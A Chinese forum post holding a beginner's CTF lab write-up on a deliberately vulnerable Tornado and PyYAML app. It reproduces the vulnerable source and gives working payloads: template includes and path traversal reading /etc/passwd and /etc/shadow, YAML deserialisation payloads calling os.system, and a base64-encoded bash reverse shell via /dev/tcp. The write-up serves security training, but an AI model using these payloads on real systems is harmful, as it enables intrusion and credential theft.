来自云龙湖轮廓分明的月亮 发表于 2025-4-11 08:46:11

【ctfplus】python靶场记录-任意文件读取+tornado模板注入+yaml反序列化(新手向)

法律与道德利用声明

本课程/笔记及相干技术内容仅限合法授权场景利用,严禁统统未授权的非法举动!
1. 适用场景限制


[*]本课程涉及的 网络安全知识、工具及攻击手法 仅答应在以下场景利用:

[*]✅ 授权渗透测试(需获得目的方书面授权)
[*]✅ CTF比赛、攻防演练等合规赛事
[*]✅ 封闭实行环境(如本地靶场、虚拟机)
[*]✅ 学术研究、技术教学(需确保隔离环境)

[*]严禁 用于任何未经授权的真实系统、网络或设备。
2. 法律与道德责任
[*]根据《中华人民共和国网络安全法》《刑法》等相干法律法规,未经授权的网络入侵、数据窃取、系统破坏等举动均属违法,大概面临刑事处罚及民事赔偿。
[*]利用者需对自身举动负全部责任,课程作者及发布平台不负担任何因滥用技术导致的连带责任。
3. 工具与知识的正当用途
[*]防御视角:学习漏洞原理以提升系统防护能力。
[*]教诲视角:明确攻击手法以培养安全意识与应急相应能力。
[*]克制用途:包括但不限于:
-❌ 入侵他人计算机系统
-❌ 窃取、篡改、删除数据
-❌ 流传恶意软件(木马、打单病毒等)
-❌ 发起DDoS攻击或网络诈骗
4. 风险自担原则
[*]纵然在合法授权场景下,操作不当仍大概导致系统崩溃、数据丢失等风险。利用者需自行评估并负担操作后果。
5. 知识产权声明
[*]课程中涉及的第三方工具、代码、文档版权归原作者所有,引用时请遵循其答应协议(如GPL、MIT等)。
6. 违法违规后果
[*]技术滥用将被依法追责,包括但不限于:
[*]行政拘留、罚款(《网络安全法》第27、63条)
[*]有期徒刑(《刑法》第285、286条非法侵入/破坏计算机系统罪)
[*]终身克制从事网络安全相干职业
请务必服从法律法规,技术向善,共同维护网络安全环境!
如发现安全漏洞,请通过合法渠道上报(如CNVD、厂商SRC)
靶场信息

靶园地址:https://www.ctfplus.cn/problem-detail/1865677096978747392/description
https://i-blog.csdnimg.cn/direct/f5ac8b124f934060ba3a56304fe9c4d6.png
靶场搭建

安装docker以及更换源

本题没有在线实行环境,仅提供DockerFile以及摆设文件(上图python.zip内),需自行docker搭建。下面以kali为例:
sudo apt install docker.io # 如未安装docker请先安装
sudo vi /etc/docker/daemon.json # 网上随便找的容器镜像加速源,如已无效请自行更换
======复制下列内容填入,注意不要复制等号所在行=======
{
   "registry-mirrors": [
         "https://docker.1ms.run"
   ]
}
===================================================
sudo systemctl daemon-reload && sudo systemctl restart docker # 更换镜像加速重载才会生效
docker build构建镜像

unzip python.zip
cd python
sudo docker build -t mypython .   # 注意这里有个点不要忘记,mypython名字是我随便起的
# 可能因时效性缘故容器镜像加速地址失效,可百度搜索自行更换
镜像构建完毕后可以用sudo docker images下令举行检查,出现类似下图信息则表现已经构建完成。
https://i-blog.csdnimg.cn/direct/f3fb28b6b19d4819b376555b2f83a4ae.png
docker run创建容器并运行

先看下压缩包内的文件有个app.py,预计容器内启动web应用服务肯定会有个端口,查看web应用端口是多少避免和本机发生冲突,下面的源码内看到是8000。因为我8000端口有其他用处,以是用8001来映射,各位小伙伴可自行酌情调解。
if __name__ == "__main__":
    port = 8000
    app = make_app()
    app.listen(port, '0.0.0.0')
    print('[+]The server start at http://0.0.0.0:{}'.format(str(port)))
    tornado.ioloop.IOLoop.current().start()
创建容器并启动:sudo docker run -it -d -p 8001:8000 --name mypython mypython
进入容器:sudo docker exec -it mypython bash (后续要查看攻击结果)


一般情况下,创建并启动容器只要实行一次,如果遇到问题了用启动容器大概重启容器两条下令,以是下面两条下令是容器出问题的时候再利用的
启动容器:sudo docker start mypython
重启容器:sudo docker restart mypython
下面几条下令可用于清算善后或复用镜像
删除容器:sudo docker rm mypython
逼迫删除:sudo docker rm mypython -f # 运行中未制止可逼迫删除
删除镜像:sudo docker rmi mypython
导出镜像:sudo docker save -o xxx.tar mypython:latest
导入镜像:sudo docker load -i xxx.tar
运行容器后浏览器访问 本机网卡ip:8001并开始实行
https://i-blog.csdnimg.cn/direct/1cf5c05f2ac243d99476642704098954.png
关于实行中遇到容器出问题

如发现无法访问本机网卡ip:8001,请先检查容器的状态status是否已经退出,如下图Exited所示,说明容器已经下线,此时可利用启动容器大概重启容器两条下令中任一条;重启再次查看状态已经恢复成up了。注意不要多次重复利用docker run下令,否则会创建多个容器。
https://i-blog.csdnimg.cn/direct/c9f8509d5a844aabb7c051bef72249fe.png
靶场研究

靶场文件结构较简朴,详细如下:
┌──(kali㉿kali)-[~/Desktop/python]
└─$ tree                  
.
├── Dockerfile
├── home
│   └── ctf
│       ├── app.py
│       └── requirements.txt
└── service.sh
查看下靶场的requirements.txt文件可以看到两个依赖库
tornado==6.0.4
pyyaml == 3.10
tornado库

tornado是一个Python的Web框架和异步网络库,‌专为高性能、高并发场景设计,同时具有路由、模板、用户身份验证等功能。因为有模板写入功能,以是这个库和有同样功能的Flask以及Jinja2都很容易发生SSTI‌(Server-Side Template Injection,服务器端模板注入),攻击者利用模板引擎的漏洞,将恶意代码注入到服务器端模板中。
PyYAML库

YAML主要用于数据序列化和配置文件,它是一种轻量级的数据序列化格式。PyYAML作为Python处理YAML数据的一个常用库,这个库在5.1版本以前,很容易通过特定标签(如!!python/object)动态创建对象,这大概答应攻击者构造恶意数据来实行任意代码,造成反序列化攻击;而我们看到requirements.txt文件中的版本只有3.10。
代码分析以及攻击思路

class Index(tornado.web.RequestHandler):    def get(self):      black_list = ['{{', '(', ')']      username = self.get_argument('username', 'guest')      if username == 'guest':            return self.write('<h1>Hello {}</h1>'.format(username))      for _black in black_list:            if _black in username:                return self.render_string("error.html")      filename = "{}.html".format(random.randint(1000000, 10000000))      with open(filename, 'w') as f:            f.write("""<html>                <head>                <style>body{font-size: 30px;}</style>                </head>                <body>%s</body>                </html>\n""" % username)      self.render(filename)      os.system('rm {}'.format(filename))class FileRead(tornado.web.RequestHandler):    def get(self):      filename = self.get_argument('filename')      if filename:            with open(filename, 'r+') as f:                file_text = f.read()                return self.write(file_text)      else:            return self.write('<h1>not filename input</h1>')class YamlLoad(tornado.web.RequestHandler):    def post(self):      yaml_content = self.get_argument('yaml')      deser_content = yaml.load(yaml_content)      return self.write(deser_content)def make_app():    return tornado.web.Application([      (r"/", Index),      (r"/read", FileRead),      (r"/yaml",YamlLoad)    ])if __name__ == "__main__":
    port = 8000
    app = make_app()
    app.listen(port, '0.0.0.0')
    print('[+]The server start at http://0.0.0.0:{}'.format(str(port)))
    tornado.ioloop.IOLoop.current().start()
1. Index 路由(/)‌

‌作用‌:生成动态 HTML 页面并返回给用户。
‌流程‌:


[*]从哀求参数中获取 username(默认为 guest)
[*]若 username 为 guest,直接返回接待消息 Hello guest
[*]若 username 包含黑名单字符,分别是双括号{{、左小括号(,和右小括号),返回错误页面 error.html。
[*]生成一个随机文件名(如 1234567.html),将 username 的内容写入该文件,生成包含用户名的 HTML 页面。渲染该 HTML 文件后,立即删除该文件。
攻击思路:


[*]用户输入username参数,生成HTML文件,渲染后删除,固然有黑名单过滤了{{, (, ),但大概存在绕过黑名单的SSTI漏洞。
2. /read 路由(FileRead 类)‌

‌作用‌:读取服务器本地文件并返回内容。
‌流程‌:


[*]从哀求参数中获取 filename
[*]若 filename 存在,以读写模式(r+)打开文件并返回内容。
[*]若 filename 不存在,返回错误消息 not filename input。
攻击思路:绕过黑名单触发 ‌SSTI(服务器端模板注入)


[*]FileRead类中的with open(filename, 'r+') as f的filename是传参传入,未作任何校验也未限制路径,大概导致任意文件读取。
3. /yaml 路由(YamlLoad 类)‌

‌作用‌:剖析并返回 YAML 格式数据。
‌流程‌:


[*]从 POST 哀求参数中获取 yaml 数据。
[*]利用 PyYAML 库的 yaml.load() 方法反序列化 YAML 内容。
[*]返回反序列化后的结果(如字典、列表等 Python 对象)。
攻击思路:低版本PyYAML 反序列化漏洞`


[*]‌恶意 YAML 构造
攻击过程

根路由——SSTI攻击尝试



[*]利用工具curl / hackbar类插件 / burp suite 均可
[*]因代码中过滤了双花括号,和小括号,尚有{% %}可以利用
漏洞原理:
Tornado模板引擎答应利用 {% %} 实行控制语句。由于黑名单仅过滤 {{、(、),未限制 {%,可通过文件包含语法读取敏感文件。
payload1:
curl http://192.168.126.146:8001/?username=%7B%25%20extends%20%22/etc/passwd%22%25%7D

# 使用-G表示GET请求,--data-urlencode自动编码参数
curl -G http://192.168.126.146:8001/ --data-urlencode "username={% extends '/etc/passwd'%}"
两条payload核心原理一样,区别在于我们先手工编码,或让curl自动对参数值举行URL编码
https://i-blog.csdnimg.cn/direct/bf8a55f09f134007a2968478d8dab68f.png
https://i-blog.csdnimg.cn/direct/2b1ce98f814a4853b92db25d8ed43929.png
payload2:http://192.168.126.146:8001/?username={% include "/etc/shadow"%}
借用hackbar发送payload
https://i-blog.csdnimg.cn/direct/7a2b5a4ab22344fca73767fc01065cb9.png
因过滤了花括号和小括号,注入下令实行未能够乐成,有大神能绕过的话麻烦告知下,感激不尽~~
/read 路由——文件读取漏洞利用

payload:http://192.168.126.146:8001/read?filename=../../etc/shadow
https://i-blog.csdnimg.cn/direct/0e046e87561149cb8e6b8cb0eb979685.png
https://i-blog.csdnimg.cn/direct/2a4ef2b6d86b40d48ad70535c49ea8d1.png
文件泄露利用价值说明

有黑盒测试履历的小伙伴大概会查询下面这种文件,我们查询到web服务启动下令是python3 /home/ctf/app.py,web程序绝对路径袒露导致代码泄露,会进一步增加供给面。此外linux系统中还有多个敏感文件,可以利用靶场环境一一枚举举行学习。
https://i-blog.csdnimg.cn/direct/009e2dc2e1fa41ad8da284447f88e785.png
https://i-blog.csdnimg.cn/direct/a641d9eed9d2418a895bc9a216d7100d.png
burp suite利用时注意事项

burp suite 发送哀求时,有时末尾必要有两个连续的\r\n(下图红线),否则会没有相应
发送前burp suite可以开启表现的show non-printable chars检查(下图红框处)
https://i-blog.csdnimg.cn/direct/26c1a3e2696646dbb351b9b6f926f669.png
/yaml 路由——YAML反序列化攻击

payload1:
POST /yaml HTTP/1.1
Host: 192.168.126.146:8001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 131

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="yaml"

- !!python/object/new:logging.LogRecord
listitems: !!str 'touch /tmp/success'
state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:os.system
------WebKitFormBoundary7MA4YWxkTrZu0gW--
我们先利用sudo docker exec -it mypython bash进入容器,然后利用watch -n 1 'ls /tmp'对容器内/tmp目次的文件举行跟踪,利用上面的payload发送后可以看到以及在/tmp目次下touch了success文件。
https://i-blog.csdnimg.cn/direct/4532d03c2a9f4fbf91ee53514f6966c1.png
下面几个payload也可利用,各位小伙伴可自行尝试:
- !!python/object/new:os.system ["touch /tmp/success1"]
- !!python/object/new:os.popen ["touch /tmp/success3"]
- !!python/object/apply:os.system ["touch /tmp/success-1"]
- !!python/object/apply:os.popen ["touch /tmp/success-3"]
反弹shell

将上述payload的touch /tmp/xxx替换成
# Base64解码后命令:/bin/bash -i >& /dev/tcp/攻击者IP/端口 0>&1
echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTI2LjE0Ni85OTk5IDA+JjE=' | base64 -d | bash
可以拿到容器的shell权限,可借助下面的反弹shell网站。
https://i-blog.csdnimg.cn/direct/4a0eddcc6b5a4204b33add73560a3cd9.png
反弹shell网站https://revshells.com,用base64编码
https://i-blog.csdnimg.cn/direct/8aa8996974d64cd8827c7a422ff322e9.png
仅利用curl发送YAML反序列化payload

假设场景不答应利用burp suite,我们只能用curl发送payload的话,我们可以用下面的方法:
方法1:将payload写入文本文件中,再用curl发送

curl -X POST 'http://192.168.126.146:8001/yaml' \
-F "yaml=@payload.txt;filename="
https://i-blog.csdnimg.cn/direct/df9a259192dc4313979b786957784baa.png
方法2:直接用curl发送payload

curl -X POST 'http://192.168.126.146:8001/yaml' \
-F 'yaml=payload: !!python/object/apply:os.popen ["touch /tmp/success999"];filename='
https://i-blog.csdnimg.cn/direct/68fbeae8f845447ab921e8dccf230dde.png
关于payload中的filename参数说明

上图中payload中不写filename参数,大概写了参数再赋值文件名都会Bad Request,只有留空值再可以顺利实行下令。
关于无靶机shell环境时的验证

可以开启nginx服务后让靶机访问web服务产生日记,apache2服务器大概dnslog.cn也都可以,如发生访问记录证明可以实行下令。https://i-blog.csdnimg.cn/direct/487b078b22ec475dbbd596697407e269.png
借助burp suite调试方法

实行过程中如遇到问题,curl可以通过本地代理让burp suite抓包调试
curl -X POST 'http://192.168.126.146:8001/yaml' \
--proxy 'http://127.0.0.1:8080' \
-F 'yaml=payload: !!python/object/apply:os.popen ["touch /tmp/success999"];filename='
https://i-blog.csdnimg.cn/direct/42c94bde78e54003ac1ef32721e3ca3e.png
相干网站以及参考资料

靶场主页:https://www.ctfplus.cn/
反弹shell网站:https://www.revshells.com/
coke说AI大模型大佬的:PyYaml反序列化漏洞详解
Werqy3大佬的:PYYAML反序列化详解

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 【ctfplus】python靶场记录-任意文件读取+tornado模板注入+yaml反序列化(新手向)